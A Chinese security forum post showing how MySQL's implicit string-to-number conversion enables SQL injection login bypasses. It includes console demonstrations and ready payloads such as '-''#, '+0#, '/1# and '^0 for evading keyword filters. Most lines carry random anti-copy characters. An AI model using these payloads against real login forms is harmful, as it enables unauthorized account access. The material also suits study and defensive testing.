找回密码
 立即注册
查看: 2842|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。2 O# q" b9 g  p  v
有以下表结构:
9 n% _2 n# d* _! I. h( y1 s
7 G: R+ K  ~: Bmysql> desc admin;
# F# {" o9 `" ]; o+ D3 I$ |' p+----------+--------------+------+-----+---------+----------------+
8 {1 _& `$ e- Z2 Y: n1 g| Field    | Type         | Null | Key | Default | Extra          |! C3 b, G7 x% Q2 W$ S
+----------+--------------+------+-----+---------+----------------+1 z) B- o' Z. k2 V1 X
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
% g2 c( S3 J+ i( P+ }, C- ?0 f. L| name     | char(32)     | NO   | UNI | NULL    |                |
1 l, z/ t6 H: r| password | char(32)     | NO   | UNI | NULL    |                |
- c9 U+ C+ v- i3 ^2 V+----------+--------------+------+-----+---------+----------------+
: j3 _, S9 m' m2 d3 M7 J3 rows in set (0.00 sec). ^! _0 g! v9 u7 m* b: l
执行select * from admin;,成功返回所有记录内容。
) [+ ?& |7 `6 ]2 h; t) S) T7 t
0 ^' Q' o  J# R) p
& r/ w  O: y2 B0 x# |" p) b+----+--------+----------------------------------+
9 h4 I. \0 y/ A| id | name   | password                         |
. m& I, h$ w! Q+ J0 ]+----+--------+----------------------------------+$ |( ?3 Y/ E" O- P8 Q, h
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |; j% R, _3 V  ~" R" u' h
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
0 ~( `/ p: ^0 a$ Y, S$ X|  4 | n00b   | ff80e8508d39047460921792273533a4 |3 I9 i. N# B, A  I3 v5 q1 |# [
+----+--------+----------------------------------+; T- H% B: D3 b& S
3 rows in set (0.00 sec)
7 F6 ]" M5 v2 H5 v执行select * from admin where name=”;,没有匹配到任何记录。
' O. D* x  [1 U( x% ^( g  d) L- K" y% F$ q. o* l/ X0 E- {& v; Q
mysql> select * from admin where name = '';
* `& w7 |7 ^1 ~4 qEmpty set (0.00 sec)% T4 l, F7 G4 I5 V, R# g- Y) v& Y- a# H. |
那么我们来执行select * from admin where name = ”-”;
! f6 i! U8 |  W; v+ A3 M, O1 G! y2 L
, t2 S5 j& X; g  m+ x1 h9 G: [
+----+--------+----------------------------------+
8 `% D4 P' s, y  K8 i7 i) B| id | name   | password                         |2 t, Y: R) n: K( [1 I
+----+--------+----------------------------------+
" O; y. G- F: C$ j" i& a* F|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |4 R: i6 J' ]  a  D* ^) }
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
8 e  B3 C5 ?1 F0 D|  4 | n00b   | ff80e8508d39047460921792273533a4 |( a% Q/ [3 ^# `6 T# U1 r5 ?) l2 {$ q
+----+--------+----------------------------------+: B. |/ g, g$ ]) ?7 ]4 k
3 rows in set, 3 warnings (0.00 sec)! f4 n% W3 j  _8 @
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 9 ^6 C  L3 r/ I5 l" y

5 l" |, K3 J+ Tmysql> show warnings;9 G7 v# j5 T" L; \' |% Y
+---------+------+------------------------------------------" c- Q, \1 Z5 L0 P
| Level   | Code | Message
1 j; Y, x& V# B9 c+ n% E9 i+---------+------+------------------------------------------
+ E4 H  I( C' @0 w| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
" Z* \; X$ p" O! Z| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
& }2 R0 W" F0 q# _: b+ Y+ z0 U| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b- B  w; G& T' K. B1 J' p9 I; m
+---------+------+------------------------------------------
* `) W0 q$ G/ B! o1 z3 rows in set (0.00 sec)) g7 @/ T, v' t8 X% h" Y$ j
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 6 x2 G1 j: ]* Z$ O7 @  O$ z

. q1 V+ t$ [0 `& g# m( ^mysql> select ''-'';% L- M+ J. X! R$ X
+-------+, ^; w: ?- u( M' {' @
| ''-'' |/ O( S* O" W9 Z, b, D3 e) {. U
+-------+) ^/ {2 A) Q7 u3 d' D" Z& m5 a# H
|     0 |7 @7 J9 r" q4 J7 u& L, W: D, j
+-------+  [0 C+ t8 u/ R  T
1 row in set (0.00 sec)
( n2 K$ S, z  J4 c. H& r- p返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: , K" m$ `) r% ]
7 O* ]0 ^% }7 H  v. X. l) Q8 _
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);7 p/ K2 b6 v% o& V8 t8 [
+-----------------------------------------------------+5 s* V. [5 h1 E* F
| CAST((select name from admin limit 1,1) as DECIMAL) |2 R( R* U. j' e( s
+-----------------------------------------------------+
# d  a4 q4 U$ L% n6 P+ X& S  ?1 [' }|                                                   0 |
8 z, C1 C+ X) O. G5 k4 Y0 X+-----------------------------------------------------+
1 S$ h) x$ J, ]0 T1 |5 d1 row in set, 1 warning (0.00 sec)
2 c2 A# s: l  D1 c7 J因此where语句构成了相等的条件,where 0=”=”,记录被返回。
, E( t+ N4 b  d/ }0 C2 [8 D1 g, ~
SQL注入场景: http://www.sqlzoo.net/hack/
3 l1 z  c% S! q6 e
' x; n9 j+ Z$ p6 _
; C6 h$ o, Z# ^* P0 n  b+ C2 ?, {8 w) U2 J8 _) |
! K5 Y4 z$ p2 _, A! f
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ' C: J$ I: x) v% j" h3 r1 C9 l

# e" M0 c+ f: u' \, c那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 4 g( L$ I' e  t6 S* E3 c& b

5 J" {8 j: u( A7 \0 n* P4 E: d* S5 t+ T" n4 E* e: \, F
+ u3 M# ~$ B2 \: G, r0 V8 M
3 W3 J6 W+ D5 w1 @$ F) A4 W2 p
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
) D+ O4 L  u, ^; X# \% \0 `$ ~
, y. `& @9 C' p1 h8 p- I& @  i   
1 j% z# A3 F1 Z$ b% Z" w8 f; U
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
4 r* n+ T9 \/ U
1 c. d6 A5 P5 ^! w' ?& u' g  m3 K7 W7 U  F% A" P* `3 a: A  s3 `
mysql> select ''/1;( Y- |. i9 v) k5 w
+------+
# E0 R, z. R$ _- J9 c7 l# L) z| ''/1 |
% j6 z: R/ r6 J. I6 a" a8 D+------+, u1 r% U3 u' ~9 @( U% R
|    0 |
) N/ }: b% q" p2 f. t; W; ]+------+2 U, G. Z( N7 R  I3 W
1 row in set (0.00 sec)- a  o0 ]. l- D+ @1 ^8 c
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  4 |9 J: P4 F" b6 M
& C6 y) G/ p2 t( V# F# X
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
/ r3 e& v5 a; {4 S# [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表